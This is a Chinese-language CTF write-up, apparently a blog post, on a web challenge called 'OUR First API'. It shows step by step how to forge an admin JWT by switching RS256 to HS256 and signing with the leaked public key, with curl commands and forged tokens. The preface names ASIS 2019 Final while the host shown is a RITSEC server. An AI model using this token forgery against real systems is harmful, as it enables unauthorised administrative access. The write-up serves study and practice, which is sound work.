前言
这几天做了ASIS 2019 Final的web题感觉有些东西自己并不是很清楚,因此在赛后总结一波。
0x01 OUR First API
你可以访问如下的这些路由
1 | ctfchallenges.ritsec.club:3000/auth |
当我们尝试去访问这些API时,它会返回缺少JWT
授权。
1 | $ curl ctfchallenges.ritsec.club:4000/api/normal |
我们可以通过访问/auth?name=admin
来获取JTW
的token。
1 | $ curl ctfchallenges.ritsec.club:3000/auth?name=admin |
我们可以使用该JWT作为/api/normal
端点,但是你必须是admin。
1 | $ curl http://ctfchallenges.ritsec.club:4000/api/normal -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoidXNlciIsImlhdCI6MTU3NDExNDU3N30.tAg_5g-W5Ch5iauAtWA-ZyfMunJX2YDbNpKgxvvPp0ciMF8YDt7EoUJhs9A-WxzC2z0xs72Kv_5C4HBoCG3Wz-y5on6wDNBZotwCd-vjRXRWURSfoTftnvtvfvF408IUEDVJ_T5ftcT03WDBOWiz2_AhLMJ5mENd4g1aPc__Z7M' |
使用该token作为/api/admin
端点,返回Not an admin!
,因此我们查看该token的内容。
我们可以到https://jwt.io/
去解密token,token的内容如下:
1 | { |
显然,我们必须伪造自己的token,并将type
中的user
设置为admin
,但是我们必须使用私钥对其进行签名,否则签名检查将会失败。
刚开始,我尝试去修改这个算法和这个token的类型并且改变"alg":"RS256"
为"alg":"none"
,但是没有成功。
最后在查看API文档的源代码时,看到了这个注释<!-- Robots can help you with the api -->
,我们访问robots.txt
时得到了下面的内容。
1 | $ curl http://ctfchallenges.ritsec.club:3000/robots.txt |
因此,我们得到了signing.pem
将用于验证JWT签名的公钥。这一定是一个提示,因此我们开始Google并且找到了这个:https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/
我们修改头部并将算法"alg":"RS256"
(RSA)更改为"alg":"HS256"
(HMAC),该算法使用共享密钥进行签名验证,然后,我们修改payload,并设置"type":"admin"
和创建我们的HMAC签名,并将public key用作secret。当我们发送这个token到这个API时,他有望接收更改后的算法类型,并将签名作为HMAC类型进行处理,而public key现在用作secret key。
修改头部和payload并使用base64编码后的jWT如下:
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9 |
然后,使用public key作为secret创建HMAC签名,并将其转换为base64。
1 | $ cat signing.pem | xxd -p | tr -d "\\n" |
具有签名的JTW如下所示:
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9.HAqRqeXhp0-PL1fNRDmE0pBKgmohu0GmctJGpwBdTps |
我们发送这个token到API
1 | $ curl http://ctfchallenges.ritsec.club:4000/api/admin -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9.HAqRqeXhp0-PL1fNRDmE0pBKgmohu0GmctJGpwBdTps' |